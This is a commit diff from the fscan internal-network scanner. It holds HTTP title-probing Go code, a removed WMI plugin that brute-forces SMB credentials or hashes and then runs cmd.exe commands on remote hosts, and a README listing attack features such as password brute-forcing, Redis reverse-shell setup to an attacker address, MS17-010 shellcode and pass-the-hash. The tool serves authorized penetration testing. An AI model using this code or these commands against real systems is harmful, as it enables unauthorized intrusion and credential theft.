info.Url = strings.Replace(info.Url, "http://", "https://", 1)
err, result, CheckData = geturl(info, 1, CheckData)
//有跳转
if strings.Contains(result, "://") {
info.Url = result
err, _, CheckData = geturl(info, 3, CheckData)
if err != nil {
return
}
}
}
//是否访问图标
//err, _, CheckData = geturl(info, 2, CheckData)
if err != nil {
return
}
return
}
func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
//flag 1 first try
//flag 2 /favicon.ico
//flag 3 302
//flag 4 400 -> https
Url := info.Url
if flag == 2 {
URL, err := url.Parse(Url)
if err == nil {
Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host)
} else {
Url += "/favicon.ico"
}
}
req, err := http.NewRequest("GET", Url, nil)
if err != nil {
return err, "", CheckData
}
req.Header.Set("User-agent", common.UserAgent)
req.Header.Set("Accept", common.Accept)
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
if common.Cookie != "" {
req.Header.Set("Cookie", common.Cookie)
}
//if common.Pocinfo.Cookie != "" {
// req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
//} else {
// req.Header.Set("Cookie", "rememberMe=1")
//}
req.Header.Set("Connection", "close")
var client *http.Client
if flag == 1 {
client = lib.ClientNoRedirect
} else {
client = lib.Client
}
resp, err := client.Do(req)
if err != nil {
return err, "https", CheckData
}
defer resp.Body.Close()
var title string
body, err := getRespBody(resp)
if err != nil {
return err, "https", CheckData
}
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
var reurl string
if flag != 2 {
if !utf8.Valid(body) {
body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
}
title = gettitle(body)
length := resp.Header.Get("Content-Length")
if length == "" {
length = fmt.Sprintf("%v", len(body))
}
redirURL, err1 := resp.Location()
if err1 == nil {
reurl = redirURL.String()
}
result := fmt.Sprintf("[*] WebTitle %-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title)
if reurl != "" {
result += fmt.Sprintf(" 跳转url: %s", reurl)
}
common.LogSuccess(result)
}
if reurl != "" {
return nil, reurl, CheckData
}
if resp.StatusCode == 400 && !strings.HasPrefix(info.Url, "https") {
return nil, "https", CheckData
}
return nil, "", CheckData
}
func getRespBody(oResp *http.Response) ([]byte, error) {
var body []byte
if oResp.Header.Get("Content-Encoding") == "gzip" {
gr, err := gzip.NewReader(oResp.Body)
if err != nil {
return nil, err
}
defer gr.Close()
for {
buf := make([]byte, 1024)
n, err := gr.Read(buf)
if err != nil && err != io.EOF {
return nil, err
}
if n == 0 {
break
}
body = append(body, buf...)
}
} else {
raw, err := io.ReadAll(oResp.Body)
if err != nil {
return nil, err
}
body = raw
}
return body, nil
}
func gettitle(body []byte) (title string) {
re := regexp.MustCompile("(?ims)<title.*?>(.*?)</title>")
find := re.FindSubmatch(body)
if len(find) > 1 {
title = string(find[1])
title = strings.TrimSpace(title)
title = strings.Replace(title, "\n", "", -1)
title = strings.Replace(title, "\r", "", -1)
title = strings.Replace(title, "&nbsp;", " ", -1)
if len(title) > 100 {
title = title[:100]
}
if title == "" {
title = "\"\"" //空格
}
} else {
title = "None" //没有title
}
return
}
func GetProtocol(host string, Timeout int64) (protocol string) {
protocol = "http"
//如果端口是80或443,跳过Protocol判断
if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
return
} else if strings.HasSuffix(host, ":443") {
protocol = "https"
return
}
socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
if err != nil {
return
}
conn := tls.Client(socksconn, &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true})
defer func() {
if conn != nil {
defer func() {
if err := recover(); err != nil {
common.LogError(err)
}
}()
conn.Close()
}
}()
conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second))
err = conn.Handshake()
if err == nil || strings.Contains(err.Error(), "handshake failure") {
protocol = "https"
}
return protocol
}

View File

@ -1,117 +0,0 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"os"
"strings"
"time"
"github.com/C-Sto/goWMIExec/pkg/wmiexec"
)
var ClientHost string
var flag bool
func init() {
if flag {
return
}
clientHost, err := os.Hostname()
if err != nil {
fmt.Println(err)
}
ClientHost = clientHost
flag = true
}
func WmiExec(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return nil
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["smb"] {
PASS:
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := Wmiexec(info, user, pass, common.Hash)
errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
errlog = strings.Replace(errlog, "\n", "", -1)
common.LogError(errlog)
if flag == true {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
} else {
result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user)
}
if common.Hash != "" {
result += "hash: " + common.Hash
} else {
result += pass
}
common.LogSuccess(result)
return err
} else {
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
if len(common.Hash) == 32 {
break PASS
}
}
}
return tmperr
}
func Wmiexec(info *common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
wmiexec.Timeout = int(common.Timeout)
return WMIExec(target, user, pass, hash, common.Domain, common.Command, ClientHost, "", nil)
}
func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) {
if cfgIn == nil {
cfg, err1 := wmiexec.NewExecConfig(username, password, hash, domain, target, clientHostname, true, nil, nil)
if err1 != nil {
err = err1
return
}
cfgIn = &cfg
}
execer := wmiexec.NewExecer(cfgIn)
err = execer.SetTargetBinding(binding)
if err != nil {
return
}
err = execer.Auth()
if err != nil {
return
}
flag = true
if command != "" {
command = "C:\\Windows\\system32\\cmd.exe /c " + command
if execer.TargetRPCPort == 0 {
err = errors.New("RPC Port is 0, cannot connect")
return
}
err = execer.RPCConnect()
if err != nil {
return
}
err = execer.Exec(command)
if err != nil {
return
}
}
return
}

432
README.md
View File

@ -1,156 +1,211 @@
# fscan
# Fscan 2.0.0
[English][url-docen]
# 1. 简介
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
# 0x00 新增功能
# 2. 主要功能
1.信息搜集:
* 存活探测(icmp)
* 端口扫描
1、UI/UX 优化
2.爆破功能:
* 各类服务爆破(ssh、smb、rdp等)
* 数据库密码爆破(mysql、mssql、redis、psql、oracle等)
2、增加修改-f -o参数-f支持txt/csv/json输出格式优化
3.系统信息、漏洞扫描:
* netbios探测、域控识别
* 获取目标网卡信息
* 高危漏洞扫描(ms17010等)
3、增加端口指纹识别功能。
4.Web探测功能:
* webtitle探测
* web指纹识别(常见cms、oa框架等)
* web漏洞扫描(weblogic、st2等,支持xray的poc)
4、增加本地信息搜集模块增加本地域控探测模块增加本地Minidump模块
5.漏洞利用:
* redis写公钥或写计划任务
* ssh命令执行
* ms17017利用(植入shellcode),如添加用户等
5、增加Telnet、VNC、Elasticsearch、RabbitMQ、Kafka、ActiveMQ、LDAP、SMTP、IMAP、POP3、SNMP、Zabbix、Modbus、Rsync、Cassandra、Neo4j扫描。
6.其他功能:
* 文件保存
6、架构重构以反射+插件模块构建
# 3. 使用说明
简单用法
```
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
fscan.exe -h 192.168.1.1/16 (B段扫描)
7、增加-log参数支持INFOSUCCESS、ERROR、DEBUG参数用于调试具体信息。
8、优化线程现在会以更好的多线程运行
**新版由于对旧版代码进行了全面的重构难免会有Bug请在遇到Bug时提交Issue会尽快修复处理感谢。**
**欢迎提交新的插件模块,目前插件为快速热插拔形式,适用于简易开发。**
# 0x01 简介
一款功能丰富的内网综合扫描工具,提供一键自动化、全方位的漏洞扫描能力。
## 主要功能
- 主机存活探测:快速识别内网中的活跃主机
- 端口扫描:全面检测目标主机开放端口
- 服务爆破:支持对常见服务进行密码爆破测试
- 漏洞利用集成MS17-010等高危漏洞检测
- Redis利用支持批量写入公钥进行权限获取
- 系统信息收集可读取Windows网卡信息
- Web应用检测
- Web指纹识别
- Web漏洞扫描
- 域环境探测:
- NetBIOS信息获取
- 域控制器识别
- 后渗透功能支持通过计划任务实现反弹shell
# 0x02 主要功能
## 1. 信息搜集
- 基于ICMP的主机存活探测快速识别网络中的活跃主机设备
- 全面的端口扫描:系统地检测目标主机的开放端口情况
## 2. 爆破功能
- 常用服务密码爆破支持SSH、SMB、RDP等多种协议的身份认证测试
- 数据库密码爆破覆盖MySQL、MSSQL、Redis、PostgreSQL、Oracle等主流数据库系统
## 3. 系统信息与漏洞扫描
- 网络信息收集包括NetBIOS探测和域控制器识别
- 系统信息获取:能够读取目标系统网卡配置信息
- 安全漏洞检测支持MS17-010等高危漏洞的识别与检测
## 4. Web应用探测
- 网站信息收集:自动获取网站标题信息
- Web指纹识别可识别常见CMS系统与OA框架
- 漏洞扫描能力集成WebLogic、Struts2等漏洞检测兼容XRay POC
## 5. 漏洞利用模块
- Redis利用支持写入公钥或植入计划任务
- SSH远程执行提供SSH命令执行功能
- MS17-010利用支持ShellCode注入可实现添加用户等操作
## 6. 辅助功能
- 扫描结果存储:将所有检测结果保存至文件,便于后续分析
# 0x03 使用说明
## 基础扫描配置
**以下参数由于重构原因并不能保证每一个参数都可以正常运行出现问题请及时提交Issue。**
**目标配置**
```
-h 指定目标(支持格式:192.168.1.1/24, 192.168.1.1-255, 192.168.1.1,192.168.1.2)
-eh 排除特定目标
-hf 从文件导入目标
```
其他用法
**端口配置**
```
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行)
```
编译命令
```
go build -ldflags="-s -w " -trimpath main.go
upx -9 fscan.exe (可选,压缩体积)
```
arch用户安装
`yay -S fscan-git 或者 paru -S fscan-git`
完整参数
```
-c string
ssh命令执行
-cookie string
设置cookie
-debug int
多久没响应,就打印当前进度(default 60)
-domain string
smb爆破模块时,设置域名
-h string
目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hf string
读取文件中的目标
-hn string
扫描时,要跳过的ip: -hn 192.168.1.1/24
-m string
设置扫描模式: -m ssh (default "all")
-no
扫描结果不保存到文件中
-nobr
跳过sql、ftp、ssh等的密码爆破
-nopoc
跳过web poc扫描
-np
跳过存活探测
-num int
web poc 发包速率 (default 20)
-o string
扫描结果保存到哪 (default "result.txt")
-p string
设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
-pa string
新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
-path string
fcgi、smb romote file path
-ping
使用ping代替icmp进行存活探测
-pn string
扫描时要跳过的端口,as: -pn 445
-pocname string
指定web poc的模糊名字, -pocname weblogic
-proxy string
设置代理, -proxy http://127.0.0.1:8080
-user string
指定爆破时的用户名
-userf string
指定爆破时的用户名文件
-pwd string
指定爆破时的密码
-pwdf string
指定爆破时的密码文件
-rf string
指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
-rs string
redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
-silent
静默扫描,适合cs扫描时不回显
-sshkey string
ssh连接时,指定ssh私钥
-t int
扫描线程 (default 600)
-time int
端口扫描超时时间 (default 3)
-u string
指定Url扫描
-uf string
指定Url文件扫描
-wt int
web访问超时时间 (default 5)
-pocpath string
指定poc路径
-usera string
在原有用户字典基础上,新增新用户
-pwda string
在原有密码字典基础上,增加新密码
-socks5
指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080)
-sc
指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)
-p 指定端口范围(默认常用端口),如: -p 22,80,3306 或 -p 1-65535
-portf 从文件导入端口列表
```
# 4. 运行截图
## 认证配置
**用户名密码**
```
-user 指定用户名
-pwd 指定密码
-userf 用户名字典文件
-pwdf 密码字典文件
-usera 添加额外用户名
-pwda 添加额外密码
-domain 指定域名
```
**SSH相关**
```
-sshkey SSH私钥路径
-c SSH连接后执行的命令
```
## 扫描控制
**扫描模式**
```
-m 指定扫描模式(默认为All)
-t 线程数(默认60)
-time 超时时间(默认3秒)
-top 存活检测结果展示数量(默认10)
-np 跳过存活检测
-ping 使用ping代替ICMP
-skip 跳过指纹识别
```
## Web扫描配置
```
-u 指定单个URL扫描
-uf 从文件导入URL列表
-cookie 设置Cookie
-wt Web请求超时时间(默认5秒)
```
## 代理设置
```
-proxy HTTP代理(如: http://127.0.0.1:8080)
-socks5 SOCKS5代理(如: 127.0.0.1:1080)
```
## POC扫描配置
```
-pocpath POC文件路径
-pocname 指定POC名称
-full 启用完整POC扫描
-dns 启用DNS日志
-num POC并发数(默认20)
```
## Redis利用配置
```
-rf Redis文件名
-rs Redis Shell配置
-noredis 禁用Redis检测
```
## 输出控制
```
-o 输出文件路径(默认关闭)
-f 输出格式(默认txt)
-no 禁用结果保存
-silent 静默模式
-nocolor 禁用彩色输出
-json JSON格式输出
-log 日志级别设置
-pg 显示扫描进度条
```
## 其他配置
```
-local 本地模式
-nobr 禁用暴力破解
-retry 最大重试次数(默认3次)
-path 远程路径配置
-hash 哈希值
-hashf 哈希文件
-sc Shellcode配置
-wmi 启用WMI
-lang 语言设置(默认zh)
```
**以上参数由于重构原因并不能保证每一个参数都可以正常运行出现问题请及时提交Issue。**
## 编译说明
```bash
# 基础编译
go build -ldflags="-s -w" -trimpath main.go
# UPX压缩可选
upx -9 fscan
```
## 系统安装
```bash
# Arch Linux
yay -S fscan-git
# 或
paru -S fscan-git
```
# 0x04 运行截图
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
![](image/1.png)
@ -175,7 +230,13 @@ arch用户安装
`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`
![img.png](image/live.png)
# 5. 免责声明
新的展示
![2.0-1](image/2.0-1.png)
![2.0-2](image/2.0-2.png)
# 0x05 免责声明
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
@ -186,10 +247,11 @@ arch用户安装
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
# 6. 404StarLink 2.0 - Galaxy
# 0x06 404StarLink 2.0 - Galaxy
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
@ -197,13 +259,13 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
演示视频[【安全工具】5大功能一键化内网扫描神器——404星链计划fscan](https://www.bilibili.com/video/BV1Cv4y1R72M)
# 7. Star Chart
# 0x07 Star Chart
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
# 8. 捐赠
# 0x08 捐赠
如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png)
# 9. 参考链接
# 0x09 参考链接
https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
@ -211,36 +273,56 @@ https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc
# 10. 最近更新
[+] 2023/11/13 加入控制台颜色输出(可-nocolor)、保存文件json结构(-json)、修改tls最低版本为1.0、端口分组(-p db,web,service)。
[+] 2022/11/19 加入hash碰撞、wmiexec无回显命令执行。
[+] 2022/7/14 -hf 支持host:port和host/xx:port格式,rule.Search 正则匹配范围从body改成header+body,-nobr不再包含-nopoc.优化webtitle 输出格式。
[+] 2022/7/6 加入手工gc回收,尝试节省无用内存。 -url 支持逗号隔开。 修复一个poc模块bug。-nobr不再包含-nopoc。
[+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。
新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。
[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程。
[+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito
[+] 2022/1/11 新增oracle密码爆破。
[+] 2022/1/7 扫ip/8时,默认会扫每个C段的网关和数个随机IP,推荐参数:-h ip/8 -m icmp.新增LiveTop功能,检测存活时,默认会输出top10的B、C段ip存活数量。
[+] 2021/12/7 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口)。
[+] 2021/12/1 优化xray解析模块,支持groups、新增poc,加入https判断(tls握手包),优化ip解析模块(支持所有ip/xx),增加爆破关闭参数 -nobr,添加跳过某些ip扫描功能 -hn 192.168.1.1,添加跳过某些端口扫描功能-pn 21,445,增加扫描docker未授权漏洞。
[+] 2021/6/18 改善一下poc的机制如果识别出指纹会根据指纹信息发送poc如果没有识别到指纹才会把所有poc打一遍。
[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接。
[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码。
[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等。
[+] 2021/4/22 修改webtitle模块,加入gbk解码。
[+] 2021/4/21 加入netbios探测、域控识别。
[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描。
[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml。
[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。
[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。
修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度。
[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试。
[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户) 。
[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段 。
[+] 2020/11/15 支持ip以文件导入,-hf ip.txt,并对去重做了处理。
# 0x10 最近更新
## 2024 更新
- **2024/12/19**: v2.0.0 重大更新
- 完整代码重构,提升性能和可维护性
- 重新设计模块化架构,支持插件扩展
- 改进并发控制,提升扫描效率
## 2023 更新
- **2023/11/13**:
- 新增控制台颜色输出(可用 `-nocolor` 关闭)
- 支持JSON格式保存结果`-json`
- 调整TLS最低版本至1.0
- 支持端口分组(`-p db,web,service`
## 2022 更新
- **2022/11/19**: 新增hash碰撞和wmiexec无回显命令执行功能
- **2022/7/14**: 改进文件导入支持和搜索匹配功能
- **2022/7/6**: 优化内存管理扩展URL支持
- **2022/7/2**:
- 增强POC fuzz模块
- 新增MS17017利用功能
- 加入socks5代理支持
- **2022/4/20**: 新增POC路径指定和端口文件导入功能
- **2022/2/25**: 新增webonly模式致谢 @AgeloVito
- **2022/1/11**: 新增Oracle密码爆破
- **2022/1/7**: 改进大规模网段扫描新增LiveTop功能
## 2021 更新
- **2021/12/7**: 新增RDP扫描功能
- **2021/12/1**: 全面优化功能模块
- **2021/6/18**: 改进POC识别机制
- **2021/5/29**: 新增FCGI未授权扫描
- **2021/5/15**: 发布Windows 2003版本
- **2021/5/6**: 更新核心模块
- **2021/4/21**: 加入NetBIOS探测和域控识别
- **2021/3/4**: 支持URL批量扫描
- **2021/2/25**: 支持密码爆破功能
- **2021/2/8**: 新增指纹识别功能
- **2021/2/5**: 优化ICMP探测
## 2020 更新
- **2020/12/12**: 集成YAML解析引擎支持XRay POC
- **2020/12/6**: 优化ICMP模块
- **2020/12/03**: 改进IP段处理
- **2020/11/17**: 新增WebScan模块
- **2020/11/16**: 优化ICMP模块
- **2020/11/15**: 支持文件导入IP
_感谢所有为项目做出贡献的开发者_
[url-docen]: README_EN.md

View File

@ -227,34 +227,34 @@ https://github.com/jjf012/gopoc
# 10. Dynamics
[+] 2022/11/19 Add hash collision, wmiexec echo free command execution function
[+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
[+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
[+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
2022/11/19 Add hash collision, wmiexec echo free command execution function
2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default.
[+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
[+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
[+] 2022/1/11 Add oracle password explosion.
[+] 2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
[+] 2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)
[+] 2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.
[+] 2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.
[+] 2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.
[+] 2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.
[+] 2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.
[+] 2021/4/22 Modify webtitle module and add gbk decoding.
[+] 2021/4/21 Add netbios detection and domain control identification functions.
[+] 2021/3/4 Support -u url and -uf parameters, support batch scan URLs.
[+] 2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.
[+] 2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.
[+] 2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.
2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
2022/1/11 Add oracle password explosion.
2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)
2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.
2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.
2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.
2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.
2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.
2021/4/22 Modify webtitle module and add gbk decoding.
2021/4/21 Add netbios detection and domain control identification functions.
2021/3/4 Support -u url and -uf parameters, support batch scan URLs.
2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.
2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.
2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.
Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds.
[+] 2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.
[+] 2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)
[+] 2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.
[+] 2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.
[+] 2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).
[+] 2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.
[+] 2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.
2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.
2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)
